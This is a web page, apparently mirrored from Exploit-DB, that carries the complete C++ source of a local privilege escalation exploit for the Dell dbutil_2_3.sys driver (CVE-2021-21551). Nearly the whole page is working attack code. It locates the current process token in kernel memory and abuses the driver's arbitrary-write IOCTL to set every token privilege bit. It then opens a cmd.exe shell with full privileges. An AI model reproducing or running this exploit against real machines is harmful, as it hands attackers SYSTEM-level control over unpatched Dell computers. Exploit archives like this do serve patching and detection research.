DELL dbutil_2_3.sys 2.3 – Arbitrary Write to Local Privilege Escalation (LPE)

  • 作者: Paolo Stagno
    日期: 2021-05-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49893/
  • # Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
    # Date: 10/05/2021
    # Exploit Author: Paolo Stagno aka VoidSec
    # Version: <= 2.3
    # CVE: CVE-2021-21551
    # Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
    # Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/
    
    #include <iostream>
    #include <windows.h>
    #include <winternl.h>
    #include <tlhelp32.h>
    #include <algorithm>
    
    #define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
    #define SystemHandleInformation 0x10
    #define SystemHandleInformationSize 1024 * 1024 * 2
    
    // define the buffer structure which will be sent to the vulnerable driver
    typedef struct Exploit
    {
    	uint64_tField1; // "padding" can be anything
    	void*		Field2;		// where to write
    	uint64_tField3; // must be 0
    	uint64_tField4; // value to write
    };
    
    typedef struct outBuffer
    {
    	uint64_tField1;
    	uint64_t	Field2;
    	uint64_tField3;
    	uint64_tField4;
    };
    
    // define a pointer to the native function 'NtQuerySystemInformation'
    using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    	ULONG SystemInformationClass,
    	PVOID SystemInformation,
    	ULONG SystemInformationLength,
    	PULONG ReturnLength);
    
    // define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
    typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
    {
    	USHORT UniqueProcessId;
    	USHORT CreatorBackTraceIndex;
    	UCHAR ObjectTypeIndex;
    	UCHAR HandleAttributes;
    	USHORT HandleValue;
    	PVOID Object;
    	ULONG GrantedAccess;
    } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
    
    // define the SYSTEM_HANDLE_INFORMATION structure
    typedef struct _SYSTEM_HANDLE_INFORMATION
    {
    	ULONG NumberOfHandles;
    	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
    } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
    
    int main(int argc, char** argv)
    {
    
    	// open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3
    	HANDLE device = ::CreateFileW(
    		L"\\\\.\\DBUtil_2_3",
    		GENERIC_WRITE | GENERIC_READ,
    		NULL,
    		nullptr,
    		OPEN_EXISTING,
    		NULL,
    		NULL);
    	if (device == INVALID_HANDLE_VALUE)
    	{
    		std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;
    		return -1;
    	}
    	std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";
    
    	// resolve the address of NtQuerySystemInformation and assign it to a function pointer
    	pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
    	if (!NtQuerySystemInformation)
    	{
    		std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
    		return -1;
    	}
    	std::cout << "[+] Resolved NtQuerySystemInformation!\n";
    
    	// open the current process token - it will be used to retrieve its kernelspace address later
    	HANDLE currentProcess = ::GetCurrentProcess();
    	HANDLE currentToken = NULL;
    	bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);
    	if (!success)
    	{
    		std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
    		return -1;
    	}
    	std::cout << "[+] Opened a handle to the current process token!\n";
    
    	// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
    	PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    
    	// call NtQuerySystemInformation and fill the handleTableInformation structure
    	ULONG returnLength = 0;
    	NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
    
    	uint64_t tokenAddress = 0;
    	// iterate over the system's handle table and look for the handles beloging to our process
    	for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
    	{
    		SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
    		// if it finds our process and the handle matches the current token handle we already opened, print it
    		if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
    		{
    			tokenAddress = (uint64_t)handleInfo.Object;
    			std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;
    		}
    	}
    
    	outBuffer buffer =
    	{
    		0,
    		0,
    		0,
    		0
    	};
    
    	/*
    	dt nt!_SEP_TOKEN_PRIVILEGES
    	 +0x000 Present: Uint8B
    	 +0x008 Enabled: Uint8B
    	 +0x010 EnabledByDefault : Uint8B
    
    	We've added +1 to the offsets to ensure that the low bytes part are 0xff.
    	*/
    
    	// overwrite the _SEP_TOKEN_PRIVILEGES"Present" field in the current process token
    	Exploit exploit =
    	{
    		0x4141414142424242,
    		(void*)(tokenAddress + 0x40),
    		0x0000000000000000,
    		0xffffffffffffffff
    	};
    
    	// overwrite the _SEP_TOKEN_PRIVILEGES"Enabled" field in the current process token
    	Exploit exploit2 =
    	{
    		0x4141414142424242,
    		(void*)(tokenAddress + 0x48),
    		0x0000000000000000,
    		0xffffffffffffffff
    	};
    
    	// overwrite the _SEP_TOKEN_PRIVILEGES"EnabledByDefault" field in the current process token
    	Exploit exploit3 =
    	{
    		0x4141414142424242,
    		(void*)(tokenAddress + 0x50),
    		0x0000000000000000,
    		0xffffffffffffffff
    	};
    
    	DWORD bytesReturned = 0;
    	success = DeviceIoControl(
    		device,
    		IOCTL_CODE,
    		&exploit,
    		sizeof(exploit),
    		&buffer,
    		sizeof(buffer),
    		&bytesReturned,
    		nullptr);
    	if (!success)
    	{
    		std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
    		return -1;
    	}
    	std::cout << "[+] Successfully overwritten current token 'Present' field!\n";
    
    	success = DeviceIoControl(
    		device,
    		IOCTL_CODE,
    		&exploit2,
    		sizeof(exploit2),
    		&buffer,
    		sizeof(buffer),
    		&bytesReturned,
    		nullptr);
    	if (!success)
    	{
    		std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
    		return -1;
    	}
    	std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";
    
    	success = DeviceIoControl(
    		device,
    		IOCTL_CODE,
    		&exploit3,
    		sizeof(exploit3),
    		&buffer,
    		sizeof(buffer),
    		&bytesReturned,
    		nullptr);
    	if (!success)
    	{
    		std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
    		return -1;
    	}
    	std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
    	std::cout << "[+] Token privileges successfully overwritten!\n";
    	std::cout << "[+] Spawning a new shell with full privileges!\n";
    
    	system("cmd.exe");
    
    	return 0;
    }